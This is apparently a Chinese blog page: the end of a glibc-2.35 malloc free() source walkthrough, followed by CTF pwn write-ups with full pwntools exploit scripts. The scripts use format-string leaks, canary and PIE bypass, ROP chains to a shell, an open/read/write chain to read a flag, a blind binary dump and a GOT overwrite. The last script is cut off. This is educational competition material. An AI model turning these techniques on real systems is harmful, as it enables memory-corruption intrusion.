size | PREV_INUSE); av-\u0026gt;top = p; check_chunk(av, p); } /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don\u0026#39;t know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don\u0026#39;t want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ if ((unsigned long)(size) \u0026gt;= FASTBIN_CONSOLIDATION_THRESHOLD) { if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) malloc_consolidate(av); if (av == \u0026amp;main_arena) { #ifndef MORECORE_CANNOT_TRIM if ((unsigned long)(chunksize(av-\u0026gt;top)) \u0026gt;= (unsigned long)(mp_.trim_threshold)) systrim(mp_.top_pad, av); #endif } else { /* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */ heap_info *heap = heap_for_ptr(top(av)); assert(heap-\u0026gt;ar_ptr == av); heap_trim(heap, mp_.top_pad); } } if (!have_lock) __libc_lock_unlock (av-\u0026gt;mutex); } /* If the chunk was allocated via mmap, release via munmap(). */ else { munmap_chunk (p); } } 前置处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ size = chunksize (p); /* Little security check which won\u0026#39;t hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by \u0026#34;design\u0026#34; from some intruder. */ if (__builtin_expect ((uintptr_t) p \u0026gt; (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr (\u0026#34;free(): invalid pointer\u0026#34;); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size \u0026lt; MINSIZE || !aligned_OK (size))) malloc_printerr (\u0026#34;free(): invalid size\u0026#34;); check_inuse_chunk(av, p); 检查 p + size 是否超过了地址空间的上限（即是否发生了整数溢出），以及地址对齐\n进行尺寸堆块检查和尺寸对齐检查\n放入 Tcache 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { /* Check to see if it\u0026#39;s already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* This test succeeds on double free. However, we don\u0026#39;t 100% trust it (it also matches random payload data at a 1 in 2^\u0026lt;size_t\u0026gt; chance), so verify it\u0026#39;s not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e-\u0026gt;key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache-\u0026gt;entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp-\u0026gt;next), ++cnt) { if (cnt \u0026gt;= mp_.tcache_count) malloc_printerr (\u0026#34;free(): too many chunks detected in tcache\u0026#34;); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr (\u0026#34;free(): unaligned chunk detected in tcache 2\u0026#34;); if (tmp == e) malloc_printerr (\u0026#34;free(): double free detected in tcache 2\u0026#34;); /* If we get here, it was a coincidence. We\u0026#39;ve wasted a few cycles, but don\u0026#39;t abort. */ } } if (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count) { tcache_put (p, tc_idx); return; } } } #endif 有 double free 检测，若发现 e-\u0026gt;key == tcache_key ，则扫描整条链表，若出现 tcache 数量过大、地址不对齐或回环，则报错，否则当作偶然处理\n正常放入 Tcache\n放入 fastbin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) \u0026lt;= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don\u0026#39;t place chunks bordering top into fastbins */ \u0026amp;\u0026amp; (chunk_at_offset(p, size) != av-\u0026gt;top) #endif ) { if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem, 0)) { bool fail = true; /* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */ if (!have_lock) { __libc_lock_lock (av-\u0026gt;mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ || chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem); __libc_lock_unlock (av-\u0026gt;mutex); } if (fail) malloc_printerr (\u0026#34;free(): invalid next size (fast)\u0026#34;); } free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, true); unsigned int idx = fastbin_index(size); fb = \u0026amp;fastbin (av, idx); /* Atomically link P to its fastbin: P-\u0026gt;FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); *fb = p; } else do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); old2 = old; p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock \u0026amp;\u0026amp; old != NULL \u0026amp;\u0026amp; __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr (\u0026#34;invalid fastbin entry (free)\u0026#34;); } 检验 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem, 0)) { bool fail = true; /* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */ if (!have_lock) { __libc_lock_lock (av-\u0026gt;mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ || chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem); __libc_lock_unlock (av-\u0026gt;mutex); } if (fail) malloc_printerr (\u0026#34;free(): invalid next size (fast)\u0026#34;); } 检验相邻下一个 chunk 的 size 的合规性\n插入 fastbin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, true); unsigned int idx = fastbin_index(size); fb = \u0026amp;fastbin (av, idx); /* Atomically link P to its fastbin: P-\u0026gt;FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); *fb = p; } else do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); old2 = old; p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock \u0026amp;\u0026amp; old != NULL \u0026amp;\u0026amp; __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr (\u0026#34;invalid fastbin entry (free)\u0026#34;); } 有简单的防 double free 逻辑，只校验 fastbin 的 top\n放入 bin 前置处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { /* If we\u0026#39;re single-threaded, don\u0026#39;t lock the arena. */ if (SINGLE_THREAD_P) have_lock = true; if (!have_lock) __libc_lock_lock (av-\u0026gt;mutex); nextchunk = chunk_at_offset(p, size); /* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av-\u0026gt;top)) malloc_printerr (\u0026#34;double free or corruption (top)\u0026#34;); /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) \u0026amp;\u0026amp; (char *) nextchunk \u0026gt;= ((char *) av-\u0026gt;top + chunksize(av-\u0026gt;top)), 0)) malloc_printerr (\u0026#34;double free or corruption (out)\u0026#34;); /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr (\u0026#34;double free or corruption (!prev)\u0026#34;); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) \u0026lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (nextsize \u0026gt;= av-\u0026gt;system_mem, 0)) malloc_printerr (\u0026#34;free(): invalid next size (normal)\u0026#34;); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); 上锁，校验\n禁止 free 掉 top chunk\n禁止下一个 chunk 地址越界\n禁止下一个 chunk 的 prev_inuse 位为 0 （防止 double free）\n检验相邻下一个 chunk 的 size 的合规性\n合并 chunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size while consolidating\u0026#34;); unlink_chunk (av, p); } if (nextchunk != av-\u0026gt;top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;free(): corrupted unsorted chunks\u0026#34;); p-\u0026gt;fd = fwd; p-\u0026gt;bk = bck; if (!in_smallbin_range(size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } bck-\u0026gt;fd = p; fwd-\u0026gt;bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } 向后合并时要求 prevsize 与 size 匹配\n放入 unsortedbin 时校验了双向链表的完整性\n并入 top chunk 1 2 3 4 5 6 7 8 9 10 11 /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; check_chunk(av, p); } 归还空间 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don\u0026#39;t know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don\u0026#39;t want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ if ((unsigned long)(size) \u0026gt;= FASTBIN_CONSOLIDATION_THRESHOLD) { if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) malloc_consolidate(av); if (av == \u0026amp;main_arena) { #ifndef MORECORE_CANNOT_TRIM if ((unsigned long)(chunksize(av-\u0026gt;top)) \u0026gt;= (unsigned long)(mp_.trim_threshold)) systrim(mp_.top_pad, av); #endif } else { /* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */ heap_info *heap = heap_for_ptr(top(av)); assert(heap-\u0026gt;ar_ptr == av); heap_trim(heap, mp_.top_pad); } } 如果 free 掉的空间比较大，那么在把 top chunk 的多余空间归还给操作系统前，先 malloc_consolidate 处理下 fastbin 中的碎片化内存\n结算 1 2 3 4 5 6 7 8 9 10 11 if (!have_lock) __libc_lock_unlock (av-\u0026gt;mutex); } /* If the chunk was allocated via mmap, release via munmap(). */ else { munmap_chunk (p); } } ","date":"2025-12-08T19:07:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/analyse/glibc2.35-ptmalloc2/","title":"glibc-2.35 ptmalloc2 分析"},{"content":"sign checksec 保护全开，可能会有点棘手？\nIDA 攻击思路 好吧，其实只是个简单的整型编码问题，，，\n注意到 2916788906 (unsigned int) 的编码 与 -1378178390 (int) 的编码相同，均为 0xADDAAAAA ，所以往 v[27] 上写入 0xADDAAAAA 就可以拿到权限啦\nexp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.log_level = \u0026#39;debug\u0026#39; io = process(\u0026#39;./sign\u0026#39;) pid = pidof(io)[0] payload = b\u0026#39;A\u0026#39; * (27 * 4) + p64(2916788906) io.sendline(payload) io.interactive() ez_fmt checksec 开了 PIE 和 canary 欸？\nIDA 攻击思路 注意到有格式化字符串漏洞，故考虑第一次 read 直接泄露 PIE 和 canary ，，，\n第二次 read 有明显的栈溢出漏洞，利用泄露出的 PIE 计算出后门函数 win 的地址，再构造 payload 把泄露出的 canary 放上去然后跳转到目标地址就行啦\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.log_level = \u0026#39;debug\u0026#39; io = process(\u0026#39;./ez_fmt\u0026#39;) backdoor = 0x202 payload = b\u0026#39;%23$lx%25$lx\u0026#39; io.recvuntil(b\u0026#39;input: \u0026#39;) io.sendline(payload) canary = p64(int(io.recv(16), 16)) addr = p64(int(io.recv(12), 16) // 0x1000 * 0x1000 + 0x202) log.info(f\u0026#39;canary = {hex(u64(canary))}\u0026#39;) log.info(f\u0026#39;addr = {hex(u64(addr))}\u0026#39;) payload = b\u0026#39;a\u0026#39; * 0x88 + canary + b\u0026#39;a\u0026#39; * 8 + addr io.recvuntil(b\u0026#39;input: \u0026#39;) io.send(payload) io.interactive() ret2rop checksec 没啥保护喵，，，\nIDA main 这里 scanf 时不要输入 yes ，绕过没啥作用的 demo() ，\nvuln 注意到 name 在 .bss 段上，这一点值得利用，且第二次 read 存在栈溢出漏洞，然而后面还有一个奇怪的异或处理，会影响写在栈上的数据，我们需要避开这个影响去构造 payload ，\nbackdoor 攻击思路 首先画出 vuln 的栈布局：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 +-------------------+ | ??? | 8 bytes +-------------------+ | ret_addr | 8 bytes +-------------------+ | rbp | 8 bytes +-------------------+ | i | 8 bytes +-------------------+ | n | 8 bytes +-------------------+ | | | mask | 32 bytes | | +-------------------+ | | | buf | 32 bytes | | +-------------------+ 注意到 n 对应 buf[0x40] ，在异或处理时会被 mask[0x40] 异或掉，而 mask[0x40] 对应 buf[0x60] ，即 ??? 处的数据，我们希望在异或操作影响到 ret_addr 前结束掉，只要修改 n 为 0 即可，那么 ??? 处的数据应该与 n 互补。 方便起见，我们不妨直接读入 0x100 字节令 n = 0x100 ，则令 ??? 处为 0xfffffffffffffeff 即可终止循环。\n此外，由于 name 在 .bss 段上，我们可以写入 /bin/sh\\x00 ，再利用已有 gadget 构造 rop 链到 call _system 处便可以轻松完成攻击。\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = process(\u0026#39;./ret2rop\u0026#39;) io.recvuntil(b\u0026#39;demo\\n\u0026#39;) payload = b\u0026#39;\\x00\u0026#39; io.sendline(payload) io.recvuntil(b\u0026#39;name\\n\u0026#39;) payload = b\u0026#39;/bin/sh\\x00\u0026#39; io.sendline(payload) bss_addr = p64(0x4040F0) pop_rsi_ret = p64(0x401A1C) mov_rdi_rsi_ret = p64(0x401A25) backdoor = p64(0x401A39) ret = p64(0x401C15) io.recvuntil(b\u0026#39;yourself\\n\u0026#39;) payload = b\u0026#39;\\xFF\u0026#39; * (0x50 + 8) + pop_rsi_ret + p64(0xfffffffffffffeff) + pop_rsi_ret + bss_addr + mov_rdi_rsi_ret + ret + backdoor payload = payload.ljust(0x100, b\u0026#39;\\x00\u0026#39;) io.sendline(payload) io.interactive() ez2048 checksec 开了 canary ，喵呜？\nIDA main buf 在 .bss 段上，这一点可以被利用，，，\nplaygame 按 q 时 score -= 10 ，我们敏锐地预知到有整数溢出漏洞可以利用，，，\nfinal 果然有整数溢出漏洞啊，初始 score = 50，所以前面 playgame 直接故意 quit 六次就行了。\nshell 有多次 read 的机会且存在栈溢出漏洞，，， canary 从 buf[17] 开始，根据 canary 最低 1 字节处为 \\x00 的特征，我们可以构造 buf 去使 printf 能够泄露 canary 而不在中途被 \\x00 截断。\n1 2 3 4 5 payload = b\u0026#39;A\u0026#39; * (17 * 8 - 1) + b\u0026#39;B\u0026#39; * 2 io.send(payload) io.recvuntil(\u0026#39;AAAAB\u0026#39;) canary = p64(u64(io.recv(8)) // 0x100 * 0x100) backdoor 太坏了，还要自己想办法读入 /bin/sh\\x00 ，但是在 main 中读入到 buf 上就行啦。\n攻击思路 其实上面已经讲的差不多了？\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = process(\u0026#39;./ez2048\u0026#39;) io.recvuntil(\u0026#39;name\\n\u0026#39;) name = b\u0026#39;/bin/sh\\x00\u0026#39; io.sendline(name) io.recvuntil(\u0026#39;game\u0026#39;) io.send(b\u0026#39;\\n\u0026#39;) for i in range(6): io.recvuntil(\u0026#39;points)\\n\u0026#39;) io.sendline(b\u0026#39;q\u0026#39;) io.recvuntil(\u0026#39;round\\n\u0026#39;) io.sendline(b\u0026#39;a\u0026#39;) io.recvuntil(\u0026#39;points)\\n\u0026#39;) io.sendline(b\u0026#39;q\u0026#39;) io.recvuntil(\u0026#39;round\\n\u0026#39;) io.sendline(b\u0026#39;q\u0026#39;) io.recvuntil(\u0026#39;$ \u0026#39;) payload = b\u0026#39;A\u0026#39; * (17 * 8 - 1) + b\u0026#39;B\u0026#39; * 2 io.send(payload) io.recvuntil(\u0026#39;AAAAB\u0026#39;) canary = p64(u64(io.recv(8)) // 0x100 * 0x100) log.info(f\u0026#39;{hex(u64(canary))}\u0026#39;) pop_rdi_ret = p64(0x40133e) sh = p64(0x404A46) shell = p64(0x401355) io.recvuntil(b\u0026#39;$ \u0026#39;) payload = b\u0026#39;exit\\x00\u0026#39; + b\u0026#39;A\u0026#39; * (17 * 8 - 5) + canary + b\u0026#39;A\u0026#39; * 8 + pop_rdi_ret + sh + shell io.sendline(payload) io.interactive() ez_stack checksec 吓哭了\nropper ？？？我 gadget 呢？？？\nIDA 打开 IDA 一看，函数名没有， C 伪代码没法读，有点绝望地去看了汇编，花了很多时间理清这个程序到底在干什么，，，然后给各个函数命名\nmain syscall 原来系统调用号在 r9 里啊。。。。\nreadrdxbytes 读取 rdx 字节的数据，遇到换行提前停止\nmmap 调用了 mmap syscall ，在 0x114514000 开了一页 rwx 区域，但只从 main 中得知只允许写入 16 字节，考虑拿来写缺少的 gadget 和字符串，\nnosyscall rwx 区域 syscall の gadget 写入禁止，\n有问题就无情地 exit ，\ndoyoulikegift 泄露了 main 的地址，可用于绕过 PIE 保护 泄露了栈的地址，可用于在连续的 leave 指令下稳定 rbp 和 rsp\nretaddrerror 栈溢出但防止返回地址被篡改，不过没关系，PIE 保护已经可以绕过了 感觉到这里已经可以完成攻击了？只要把 /bin/sh\\x00 写到 0x114514000 区域就可以 ret2syscall 了吧？并非。\ninit_array 这是什么鸭？初始化的时候调用了什么函数？\nprctl 哇是沙箱，我们没救了，，， 拿到权限是不大可能了，因此考虑 orw ，把 /flag\\x00\\x00\\x00 写到 0x114514000 区域，，，\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = process(\u0026#39;./baby_stack\u0026#39;) gadget = b\u0026#39;\\x5F\\xC3\\x5E\\xC3\\x5A\\xC3\\x58\\xC3\u0026#39; flag_str = b\u0026#39;/flag\\x00\\x00\\x00\u0026#39; log.info(f\u0026#39;gadget = \\n{disasm(gadget)}\u0026#39;) io.recvuntil(b\u0026#39;ISCTF2025!\\n\u0026#39;) io.send(gadget + flag_str) io.recvuntil(b\u0026#39;GIFT?\\n\u0026#39;) main_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) ret_addr = p64(main_addr // 0x100 * 0x100 + 0x9B) syscall_addr = p64(main_addr // 0x1000 * 0x1000 + 0x175) io.recvuntil(b\u0026#39;\\n\u0026#39;) stack_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) rbp_addr = p64(stack_addr - 0xa8 + 0xe0) heap_top = p64(0x114514100) log.info(f\u0026#39;main_addr = {hex(main_addr)}\u0026#39;) log.info(f\u0026#39;ret_addr = {hex(u64(ret_addr))}\u0026#39;) log.info(f\u0026#39;stack_addr = {hex(stack_addr)}\u0026#39;) log.info(f\u0026#39;rbp_addr = {hex(u64(rbp_addr))}\u0026#39;) pop_rdi_ret = p64(0x114514000) pop_rsi_ret = p64(0x114514002) pop_rdx_ret = p64(0x114514004) pop_rax_ret = p64(0x114514006) ret = p64(0x114514007) flag_addr = p64(0x114514008) payload = b\u0026#39;A\u0026#39; * 0x110 + rbp_addr + ret_addr + b\u0026#39;A\u0026#39; * 8 payload += pop_rdi_ret + flag_addr payload += pop_rsi_ret + p64(0) payload += pop_rax_ret + p64(2) payload += syscall_addr + rbp_addr payload += pop_rdi_ret + p64(3) payload += pop_rsi_ret + heap_top payload += pop_rdx_ret + p64(0x110) payload += pop_rax_ret + p64(0) payload += syscall_addr + rbp_addr payload += pop_rdi_ret + p64(1) payload += pop_rsi_ret + heap_top payload += pop_rdx_ret + p64(0x110) payload += pop_rax_ret + p64(1) payload += syscall_addr io.sendline(payload) io.interactive() bad_box 复读机\n？？？ 不是哥们，我写盲打，真的假的？\n输入测试 test1 没有格式化字符串漏洞\ntest2 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 114514) io.recvuntil(b\u0026#39;fun\\n\u0026#39;) payload = b\u0026#39;A\u0026#39; * 0x1000 + b\u0026#39;\\x00\u0026#39; io.send(payload) io.recvall() io.interactive() 没有溢出？\ntest3 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 114514) io.recvuntil(b\u0026#39;fun\\n\u0026#39;) payload = b\u0026#39;%p\u0026#39; * 0x1000 + b\u0026#39;\\x00\u0026#39; io.send(payload) io.recvall() io.interactive() 欸？有格式化字符串漏洞？？？\n事实上，经验证，小于 32 字节的读入不使用格式化字符串输出（遇 \\x00 不截断，很可能是 write ），大于 32 字节的读入才使用格式化字符串输出（遇 \\x00 截断，很可能是 printf ）。\nstackleak 既然如此，我们考虑先看看栈上面有什么\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 114514) io.recvuntil(b\u0026#39;fun\\n\u0026#39;) payload = b\u0026#39;%p\\n\u0026#39; * 0x3A + b\u0026#39;\\x00\u0026#39; io.send(payload) stack_addr = int(io.recvuntil(\u0026#39;\\n\u0026#39;)[:-1], 16) back = io.recvall() lines = 0 strings = \u0026#39;\u0026#39; for i in back.decode(\u0026#39;utf-8\u0026#39;): strings += i if i == \u0026#39;\\n\u0026#39;: lines += 1 log.info(f\u0026#39;{hex(stack_addr + lines * 8)} : {strings}\u0026#39;) strings = \u0026#39;\u0026#39; io.interactive() 根据栈上泄露出的信息，可知 PIE 保护没有开启， canary 保护开启 然后呢？栈上好像没有什么可利用的点了？\ndump 既然如此，不如直接利用格式化字符串漏洞，遍历 0x400000~0x404000 使用 %s 把原程序 dump 下来吧\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * context.arch = \u0026#39;amd64\u0026#39; begin = 0x400000 offset = 0 leaked = 0 while leaked \u0026lt; 0x4000 - offset: try: io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 114514) io.recvuntil(b\u0026#39;fun\\n\u0026#39;) payload = b\u0026#39;%9$s\\x00\\x00\\x00\\x00\u0026#39; payload += p64(begin + leaked + offset) payload += b\u0026#39;\\x00\u0026#39; * 0x20 io.send(payload) leak = io.recvall() except: log.info(f\u0026#39;len:{leaked}\\n\u0026#39;) continue leaked += len(leak) + 1 log.info(f\u0026#39;len:{leaked}\\n{disasm(leak + b\u0026#39;\\x00\u0026#39;)}\u0026#39;) io.close() l = open(\u0026#39;leak.bin\u0026#39;, \u0026#39;ab\u0026#39;) l.write(leak + b\u0026#39;\\x00\u0026#39;) l.close() io.interactive() PS: 这个 dump 程序效率有点低，，，每连接一次只 leak 到一个 \\x00 边界，大概要跑一个小时吧，，，\nIDA 把 dump 下来的程序拖进 IDA 反编译\nmain 和之前分析的差不多，，， exit(0) 使劫持返回地址变得不可能，因此我们考虑劫持 got 表。\nbackdoor got 明显的劫持 got 表模板，，，\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 114514) io.recvuntil(b\u0026#39;fun\\n\u0026#39;) backdoor = 0x40125B # 4199003 exit_got = p64(0x4033A0) payload = b\u0026#39;%\u0026#39; + str(backdoor).encode() + b\u0026#39;c\u0026#39; # 9 payload += b\u0026#39;%10$ln\u0026#39;+ b\u0026#39;\\x00\u0026#39; # 16 payload += exit_got payload += b\u0026#39;\\x00\u0026#39; * 0x20 io.send(payload) io.interactive() heap? checksec 全开\nIDA main add delete show 有格式化字符串漏洞\nread_num 栈溢出\n攻击思路 假堆题，利用格式化字符串漏洞泄露 canary ， pie ， libc 后用 one_gadget 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; libc = ELF(\u0026#39;./libc.so.6\u0026#39;) io = process(\u0026#39;./pwn\u0026#39;) pid = pidof(io)[0] io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 29483) io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) io.sendline(b\u0026#39;1\u0026#39;) payload = b\u0026#39;AAB%7$p\\nAAB%9$p\\nAAB%13$p\\n\u0026#39; io.sendline(str(len(payload)).encode()) io.sendline(payload) io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) io.sendline(b\u0026#39;3\u0026#39;) io.sendline(b\u0026#39;0\u0026#39;) io.recvuntil(b\u0026#39;AAB\u0026#39;) canary = p64(int(io.recv(18).decode(\u0026#39;utf-8\u0026#39;), 16)) io.recvuntil(b\u0026#39;AAB\u0026#39;) pie_base = int(io.recv(14).decode(\u0026#39;utf-8\u0026#39;), 16) - 